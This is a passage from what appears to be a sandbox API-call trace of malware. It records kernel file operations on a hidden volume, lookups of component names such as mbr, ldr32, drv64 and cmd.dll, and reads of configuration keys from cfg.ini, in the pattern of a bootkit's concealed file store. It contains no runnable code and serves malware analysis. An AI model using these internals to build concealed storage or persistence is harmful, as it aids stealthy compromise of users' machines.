_Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.641] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.641] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.641] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.641] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.641] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.641] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.641] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.641] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.641] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.641] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.641] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.641] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.641] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.641] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.641] KeLeaveCriticalRegion () [0123.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.641] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.641] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.641] KeEnterCriticalRegion () [0123.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.641] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.641] IdePortDispatch () returned 0x103 [0123.641] KeWaitForMutexObject () returned 0x0 [0123.641] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.641] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.641] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.641] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.641] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.642] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.642] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.642] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.642] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.642] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.642] KeLeaveCriticalRegion () [0123.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.642] ReleaseMutex (hMutex=0x100) returned 1 [0123.642] Sleep (dwMilliseconds=0x2bf20) [0123.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ce4ea10, dwHighDateTime=0x1d24fa4)) [0123.648] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.648] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.648] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.648] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.648] KeEnterCriticalRegion () [0123.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.648] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.648] IdePortDispatch () returned 0x103 [0123.649] KeWaitForMutexObject () returned 0x0 [0123.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.649] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.649] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.649] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.649] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.649] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becf00 [0123.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.649] KeLeaveCriticalRegion () [0123.649] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.649] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.649] KeEnterCriticalRegion () [0123.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.649] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.649] KeLeaveCriticalRegion () [0123.649] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.649] KeEnterCriticalRegion () [0123.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.649] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.649] IdePortDispatch () returned 0x103 [0123.649] KeWaitForMutexObject () returned 0x0 [0123.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.650] KeLeaveCriticalRegion () [0123.650] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.650] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.650] KeEnterCriticalRegion () [0123.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.650] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034eb000 [0123.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.650] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.650] IdePortDispatch () returned 0x103 [0123.650] KeWaitForMutexObject () returned 0x0 [0123.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.650] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.650] IdePortDispatch () returned 0x103 [0123.651] KeWaitForMutexObject () returned 0x0 [0123.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.651] KeLeaveCriticalRegion () [0123.651] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.651] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.651] KeEnterCriticalRegion () [0123.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.651] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.651] KeLeaveCriticalRegion () [0123.651] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.652] KeEnterCriticalRegion () [0123.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.652] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.652] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.652] KeLeaveCriticalRegion () [0123.652] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.652] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.652] KeEnterCriticalRegion () [0123.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.652] ExFreePoolWithTag (P=0xfffffa8003becf00, Tag=0x0) [0123.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.652] KeLeaveCriticalRegion () [0123.652] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.652] ReleaseMutex (hMutex=0xf0) returned 1 [0123.652] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.652] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.652] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.652] KeEnterCriticalRegion () [0123.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.652] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.652] IdePortDispatch () returned 0x103 [0123.653] KeWaitForMutexObject () returned 0x0 [0123.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.653] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.653] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.653] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.653] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.653] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec260 [0123.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.653] KeLeaveCriticalRegion () [0123.653] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.653] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.653] KeEnterCriticalRegion () [0123.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.653] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.653] KeLeaveCriticalRegion () [0123.653] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.654] KeEnterCriticalRegion () [0123.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.654] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.654] IdePortDispatch () returned 0x103 [0123.654] KeWaitForMutexObject () returned 0x0 [0123.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.654] KeLeaveCriticalRegion () [0123.654] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.654] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.654] KeEnterCriticalRegion () [0123.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ec000 [0123.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.654] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.654] IdePortDispatch () returned 0x103 [0123.654] KeWaitForMutexObject () returned 0x0 [0123.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.654] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.654] IdePortDispatch () returned 0x103 [0123.654] KeWaitForMutexObject () returned 0x0 [0123.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] KeLeaveCriticalRegion () [0123.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.655] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.655] KeEnterCriticalRegion () [0123.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] KeLeaveCriticalRegion () [0123.655] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.655] KeEnterCriticalRegion () [0123.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.655] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] KeLeaveCriticalRegion () [0123.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.655] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.655] KeEnterCriticalRegion () [0123.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] ExFreePoolWithTag (P=0xfffffa8003bec260, Tag=0x0) [0123.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.655] KeLeaveCriticalRegion () [0123.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.656] ReleaseMutex (hMutex=0xf0) returned 1 [0123.656] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.656] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.656] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.656] KeEnterCriticalRegion () [0123.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.656] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.656] IdePortDispatch () returned 0x103 [0123.656] KeWaitForMutexObject () returned 0x0 [0123.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.656] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.656] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.656] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.656] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.656] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec870 [0123.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.656] KeLeaveCriticalRegion () [0123.656] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.656] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.656] KeEnterCriticalRegion () [0123.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.656] KeLeaveCriticalRegion () [0123.656] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.656] KeEnterCriticalRegion () [0123.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.656] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.656] IdePortDispatch () returned 0x103 [0123.657] KeWaitForMutexObject () returned 0x0 [0123.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.657] KeLeaveCriticalRegion () [0123.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.657] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.657] KeEnterCriticalRegion () [0123.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ed000 [0123.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.657] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.657] IdePortDispatch () returned 0x103 [0123.657] KeWaitForMutexObject () returned 0x0 [0123.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.657] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.657] IdePortDispatch () returned 0x103 [0123.657] KeWaitForMutexObject () returned 0x0 [0123.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.657] KeLeaveCriticalRegion () [0123.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.658] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.658] KeEnterCriticalRegion () [0123.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 